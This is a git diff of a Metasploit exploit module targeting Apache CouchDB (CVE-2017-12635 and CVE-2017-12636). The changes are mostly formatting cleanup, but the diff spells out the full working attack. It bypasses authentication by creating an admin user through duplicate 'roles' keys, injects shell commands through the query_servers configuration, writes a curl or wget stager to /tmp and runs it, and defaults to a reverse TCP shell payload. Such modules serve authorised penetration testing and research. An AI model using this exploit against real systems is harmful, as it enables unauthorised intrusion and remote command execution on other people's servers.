diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index cfe3077e3b..3cd1a0a048 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -18,17 +18,17 @@ class MetasploitModule < Msf::Exploit::Remote This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet. }, - 'Author' => [ + 'Author' => [ 'Max Justicz', # CVE-2017-12635 Vulnerability discovery 'Joan Touzet', # CVE-2017-12636 Vulnerability discovery 'Green-m ' # Metasploit module ], - 'References' => [ - [ 'CVE', '2017-12636'], - [ 'CVE', '2017-12635'], - [ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], - [ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'], - [ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E'] + 'References' => [ + ['CVE', '2017-12636'], + ['CVE', '2017-12635'], + ['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], + ['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'], + ['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E'] ], 'DisclosureDate' => 'Apr 6 2016', 'License' => MSF_LICENSE, @@ -36,29 +36,29 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', + 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' - }, - 'CmdStagerFlavor' => ['curl', 'wget'], - 'Targets' => [ - ['Automatic', {} ], - ['Apache CouchDB version 1.x', {} ], - ['Apache CouchDB version 2.x', {} ] + }, + 'CmdStagerFlavor' => ['curl', 'wget'], + 'Targets' => [ + ['Automatic', {}], + ['Apache CouchDB version 1.x', {}], + ['Apache CouchDB version 2.x', {}] ], - 'DefaultTarget' => 0 - )) + 'DefaultTarget' => 0)) register_options([ - Opt::RPORT(5984), - OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), - OptString.new('HttpUsername', [false, 'The username to login as']), - OptString.new('HttpPassword', [false, 'The password to login with']) - ]) + Opt::RPORT(5984), + OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), + OptString.new('HttpUsername', [false, 'The username to login as']), + OptString.new('HttpPassword', [false, 'The password to login with']) + ]) register_advanced_options( [ OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']), OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) - ]) + ] + ) end def check @@ -67,9 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown if version.version.empty? vprint_status "Found CouchDB version #{version}" - if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) - return CheckCode::Appears - end + return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) CheckCode::Safe end @@ -96,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote end attempts.times do |i| - print_status("#{peer} - The #{i+1} time to exploit") + print_status("#{peer} - The #{i + 1} time to exploit") send_payload(version) Rex.sleep(5) # break if we get the shell @@ -112,7 +110,6 @@ class MetasploitModule < Msf::Exploit::Remote # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization # for the newly created user. def auth_bypass - username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) @auth = basic_auth(username, password) @@ -121,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"), 'method' => 'PUT', 'ctype' => 'application/json', - 'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}} + 'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}) ) if res && res.code == 200 && res.get_json_document['ok'] @@ -129,7 +126,6 @@ class MetasploitModule < Msf::Exploit::Remote else return false end - end def get_version @@ -137,11 +133,10 @@ class MetasploitModule < Msf::Exploit::Remote begin res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET', - 'authorization' => @auth - ) - + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'authorization' => @auth + ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e vprint_bad("#{peer} - Connection failed") return false @@ -177,9 +172,7 @@ class MetasploitModule < Msf::Exploit::Remote vprint_status("#{peer} - CouchDB version is #{version}") if version version = Gem::Version.new(@version) - case - # Version not found - when version.version.empty? + if version.version.empty? vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.") # if target set Automatic, exploit failed. @@ -191,21 +184,19 @@ class MetasploitModule < Msf::Exploit::Remote payload2 end - when version < Gem::Version.new('1.7.0') + elsif version < Gem::Version.new('1.7.0') payload1 - when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) + elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) payload2 - when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') + elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") end - end # Exploit with multi requests # payload1 is for the version of couchdb below 1.7.0 def payload1 - rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) @@ -218,8 +209,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"} - + 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) res = send_request_cgi( @@ -232,7 +222,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{{"_id": "#{rand_hex}"}} + 'data' => %({"_id": "#{rand_hex}"}) ) res = send_request_cgi( @@ -240,14 +230,14 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'authorization' => @auth, 'ctype' => 'application/json', - 'data' => %Q{{"language":"#{rand_cmd1}","map":""}} + 'data' => %({"language":"#{rand_cmd1}","map":""}) ) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"/bin/sh #{rand_file}"} + 'data' => %("/bin/sh #{rand_file}") ) res = send_request_cgi( @@ -255,15 +245,12 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'authorization' => @auth, 'ctype' => 'application/json', - 'data' => %Q{{"language":"#{rand_cmd2}","map":""}} + 'data' => %({"language":"#{rand_cmd2}","map":""}) ) - - end # payload2 is for the version of couchdb below 2.1.1 def payload2 - rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) @@ -281,13 +268,11 @@ class MetasploitModule < Msf::Exploit::Remote ) node = res.get_json_document['all_nodes'][0] - res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"} - + 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) res = send_request_cgi( @@ -300,7 +285,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{{"_id": "#{rand_hex}"}} + 'data' => %({"_id": "#{rand_hex}"}) ) res = send_request_cgi( @@ -308,15 +293,14 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'PUT', 'authorization' => @auth, 'ctype' => 'application/json', - 'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}} + 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}) ) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"/bin/sh #{rand_file}"} - + 'data' => %("/bin/sh #{rand_file}") ) res = send_request_cgi( @@ -324,7 +308,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'PUT', 'authorization' => @auth, 'ctype' => 'application/json', - 'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}} + 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}) ) end @@ -338,14 +322,13 @@ class MetasploitModule < Msf::Exploit::Remote # def on_request_uri(cli, request) - if (not @cmdstager) + if !@cmdstager print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("Sending payload #{datastore['PAYLOAD']}") super - end def start_service(opts = {}) @@ -353,7 +336,6 @@ class MetasploitModule < Msf::Exploit::Remote @service_url = get_uri end - # mark the exploit successful and clean temp file created during exploiting def on_new_session(client) # mark flag be true to stop exploit. @@ -370,9 +352,8 @@ class MetasploitModule < Msf::Exploit::Remote client.shell_command_token("rm #{@file_to_clean}") end vprint_good("Cleaned temp file successful.") - rescue + rescue StandardError print_warning("Need to clean the temp file #{@file_to_clean} manually.") end end - end